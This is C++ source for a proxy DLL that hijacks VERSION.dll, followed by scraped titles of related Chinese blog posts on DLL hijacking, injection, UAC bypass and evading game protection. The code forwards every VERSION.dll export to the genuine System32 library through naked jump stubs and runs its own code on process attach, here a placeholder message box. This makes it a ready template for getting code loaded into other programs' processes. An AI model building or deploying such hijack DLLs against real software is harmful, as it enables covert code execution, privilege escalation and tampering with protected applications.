// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "stdafx.h"BOOL APIENTRY DllMain( HMODULE hModule,DWORD  ul_reason_for_call,LPVOID lpReserved)
{switch (ul_reason_for_call){case DLL_PROCESS_ATTACH:{// 绝对路径加载VERSION.dll::LoadLibrary("C:\\Windows\\System32\\VERSION.dll");::MessageBox(NULL, "调用函数方法", "From DLL Hijack", MB_OK | MB_ICONWARNING);break;}case DLL_THREAD_ATTACH:{break;}case DLL_THREAD_DETACH:{// 卸载VERSION.dllHMODULE hDll = ::GetModuleHandle("C:\\Windows\\System32\\VERSION.dll");if (hDll){::FreeLibrary(hDll);}break;}case DLL_PROCESS_DETACH:{break;}break;}return TRUE;
}// 导出
#pragma comment(linker, "/EXPORT:GetFileVersionInfoA=_DG_GetFileVersionInfoA,@1")
#pragma comment(linker, "/EXPORT:GetFileVersionInfoByHandle=_DG_GetFileVersionInfoByHandle,@2")
#pragma comment(linker, "/EXPORT:GetFileVersionInfoExA=_DG_GetFileVersionInfoExA,@3")
#pragma comment(linker, "/EXPORT:GetFileVersionInfoExW=_DG_GetFileVersionInfoExW,@4")
#pragma comment(linker, "/EXPORT:GetFileVersionInfoSizeA=_DG_GetFileVersionInfoSizeA,@5")
#pragma comment(linker, "/EXPORT:GetFileVersionInfoSizeExA=_DG_GetFileVersionInfoSizeExA,@6")
#pragma comment(linker, "/EXPORT:GetFileVersionInfoSizeExW=_DG_GetFileVersionInfoSizeExW,@7")
#pragma comment(linker, "/EXPORT:GetFileVersionInfoSizeW=_DG_GetFileVersionInfoSizeW,@8")
#pragma comment(linker, "/EXPORT:GetFileVersionInfoW=_DG_GetFileVersionInfoW,@9")
#pragma comment(linker, "/EXPORT:VerFindFileA=_DG_VerFindFileA,@10")
#pragma comment(linker, "/EXPORT:VerFindFileW=_DG_VerFindFileW,@11")
#pragma comment(linker, "/EXPORT:VerInstallFileA=_DG_VerInstallFileA,@12")
#pragma comment(linker, "/EXPORT:VerInstallFileW=_DG_VerInstallFileW,@13")
#pragma comment(linker, "/EXPORT:VerLanguageNameA=_DG_VerLanguageNameA,@14")
#pragma comment(linker, "/EXPORT:VerLanguageNameW=_DG_VerLanguageNameW,@15")
#pragma comment(linker, "/EXPORT:VerQueryValueA=_DG_VerQueryValueA,@16")
#pragma comment(linker, "/EXPORT:VerQueryValueW=_DG_VerQueryValueW,@17")// 获取函数地址
PVOID GetFunctionAddress(char *pszFunctionName)
{PVOID pAddr = NULL;HMODULE hDll = NULL;char szDllPath[MAX_PATH] = "C:\\Windows\\System32\\VERSION.dll";hDll = ::LoadLibrary(szDllPath);if (NULL == hDll){return NULL;}pAddr = ::GetProcAddress(hDll, pszFunctionName);::FreeLibrary(hDll);return pAddr;
}// 函数
extern "C" void __declspec(naked) DG_GetFileVersionInfoA()
{GetFunctionAddress("GetFileVersionInfoA");__asm jmp eax
}extern "C" void __declspec(naked) DG_GetFileVersionInfoByHandle()
{GetFunctionAddress("GetFileVersionInfoByHandle");__asm jmp eax
}extern "C" void __declspec(naked) DG_GetFileVersionInfoExA()
{GetFunctionAddress("GetFileVersionInfoExA");__asm jmp eax
}extern "C" void __declspec(naked) DG_GetFileVersionInfoExW()
{GetFunctionAddress("GetFileVersionInfoExW");__asm jmp eax
}extern "C" void __declspec(naked) DG_GetFileVersionInfoSizeA()
{GetFunctionAddress("GetFileVersionInfoSizeA");__asm jmp eax
}extern "C" void __declspec(naked) DG_GetFileVersionInfoSizeExA()
{GetFunctionAddress("GetFileVersionInfoSizeExA");__asm jmp eax
}extern "C" void __declspec(naked) DG_GetFileVersionInfoSizeExW()
{GetFunctionAddress("GetFileVersionInfoSizeExW");__asm jmp eax
}extern "C" void __declspec(naked) DG_GetFileVersionInfoSizeW()
{GetFunctionAddress("GetFileVersionInfoSizeW");__asm jmp eax
}extern "C" void __declspec(naked) DG_GetFileVersionInfoW()
{GetFunctionAddress("GetFileVersionInfoW");__asm jmp eax
}extern "C" void __declspec(naked) DG_VerFindFileA()
{GetFunctionAddress("VerFindFileA");__asm jmp eax
}extern "C" void __declspec(naked) DG_VerFindFileW()
{GetFunctionAddress("VerFindFileW");__asm jmp eax
}extern "C" void __declspec(naked) DG_VerInstallFileA()
{GetFunctionAddress("VerInstallFileA");__asm jmp eax
}extern "C" void __declspec(naked) DG_VerInstallFileW()
{GetFunctionAddress("VerInstallFileW");__asm jmp eax
}extern "C" void __declspec(naked) DG_VerLanguageNameA()
{GetFunctionAddress("VerLanguageNameA");__asm jmp eax
}extern "C" void __declspec(naked) DG_VerLanguageNameW()
{GetFunctionAddress("VerLanguageNameW");__asm jmp eax
}extern "C" void __declspec(naked) DG_VerQueryValueA()
{GetFunctionAddress("VerQueryValueA");__asm jmp eax
}extern "C" void __declspec(naked) DG_VerQueryValueW()
{GetFunctionAddress("VerQueryValueW");__asm jmp eax
}

version.dll劫持注入模版相关推荐

  1. 用户层注入:(3)DLL劫持注入

    目录 基本概念 注入原理 函数转发 函数调用 局限性 基本概念   Windows的应用程序在加载进程所需的动态库时,会根据导入表一一加载.但是,我们的导入表中只保存有动态库的名称,系统如何知道这个动 ...

  2. 易语言lsp劫持_[原创]不用导出任何函数的DLL劫持注入,完美!

    . 最近在写SOCKS5代理,用的是LSP.代理成功了,但是因为LSP模块没办法隐藏,各种三方模块啊 删除PE头,强制删除文件,游戏都会闪退 想来想去,就想到这个法子,HOOK LdrLoadDll返 ...

  3. DLL劫持注入技术分析、过各种游戏保护!让你做你爱做的事情!

    劫持DLL就是要制作一个"假"的DLL,但是功能又不能失真. 可执行文件在调用某函数时,要加载该函数所在的DLL.如果我们伪造一个DLL,让它包含所有被劫持DLL的导出函数.可执行 ...

  4. Dll注入技术之劫持注入

    Dll注入技术之劫持注入 测试环境 系统:Windows 7 32bit 工具:FileCleaner2.0 和 lpk.dll 主要思路 利用Window可以先加载当前目录下的dll特性,仿造系统的 ...

  5. dll注入工具_bypassUAC amp;amp; DLL劫持

    0x11 UAC简介 用户帐户控制(User Account Control,简写作UAC)是微软公司在其Windows Vista及更高版本操作系统中采用的一种控制机制.其原理是通知用户是否对应用程 ...

  6. 后渗透篇:劫持技术(lpk.dll劫持游戏注入【Win7 实例】)

    当你的才华 还撑不起你的野心时 那你就应该静下心来学习 lpk.dll劫持游戏注入 由于 输入表中只包含DLL名而没有它的路径名,因此加载程序必须在磁盘上搜索 DLL文件.首先会尝试从当前程序所在的目 ...

  7. Win7下实现 lpk.dll劫持游戏注入

    由于输入表中只包含DLL名而没有它的路径名,因此加载程序必须在磁盘上搜索DLL文件.首先会尝试从当前程序所在的目录加载DLL,如果没找到,则在Windows系统目录中查找,最后是在环境变量中列出的各个 ...

  8. Windows 下的 7 种 DLL 劫持技术

    本文讲的是Windows 下的 7 种 DLL 劫持技术,在本文中,我将列出半打可以在Windows运行用户模式的进程中使用DLL注入技术.也许可能会有更多类似的技术,但我正在和你分享的是我所拥有的第 ...

  9. win7 dll怎么在xp运行_微信DLL劫持反弹shell复现

    网安引领时代,弥天点亮未来  写在前面: 最近刚好在做PPT的dll劫持测试,现在就随便拿一个程序来练练手.增加一下熟练度.本测试纯属学习测试过程,不可用于非法操作!!! 一.测试环境 工具下载地址: ...

最新文章

  1. hadoop和spark搭建记录
  2. io多路复用的原理和实现_IO多路复用的三种机制:select 、poll 、epoll
  3. 怎么检查计算机网络是连接,怎么检测网络打印机是否与电脑连接成功【检测方法】...
  4. Golang官方限流器的用法详解
  5. mysql limit offset很大_MySQL查询中LIMIT的大offset导致性能低下浅析
  6. java国际化服务器不识别_国际化踩坑记录java.util.MissingResourceException:
  7. JavaScript 常用Array、String方法
  8. apache ab 压测
  9. 关于stm32f407搭载wifi模块_华为智能体脂秤WiFi版体验:家庭标配的智能家居
  10. ROST_CM6软件之词频分析、社会网络和语义网络分析、情感分析
  11. python数字不同数之和_python练习 数字不同数之和+人名最多数统计
  12. Constructing and Embedding Abstract Event Causality Networks from Text Snippets
  13. Windows10windows server 2012r2作为slave 用jenkins部署微信小程序自动化打包
  14. Flutter FloatingActionButton 及仿闲鱼的发布按钮
  15. linux清空文件命令
  16. Bezier曲线、B样条和NURBS的基本概念
  17. 2022年的第一篇程序人生。。。
  18. arduino 计时器和中断
  19. 20.新系统Ubuntu20.4 安装ssh server
  20. V神身价超过马云,你不知道的天才少年成长历程

热门文章

  1. 成功解决raise ValueError(‘No model found in config file.‘) ValueError: No model found in config file.
  2. HighNewTech:横向、纵向动图查看《Why资本寒冬》——根据中国四大行每年(2004年~2018年)贷款主要流向来看当下的资本寒冬
  3. EL之GB(GBM):利用GB对回归(性别属性编码+调2参)问题(整数值年龄预测)建模
  4. 解决问题ImportError: HDFStore requires PyTables, quot;No module named 'tables'quot; problem importing
  5. 元素、属性、标题、段落、文本格式化
  6. django jquery ajax 知识点
  7. 如何编写一份软件工程实验报告
  8. Gradle 教程:第一部分,安装【翻译】
  9. 成功创业者必须具备的9个特质
  10. 高速PCB设计知识问答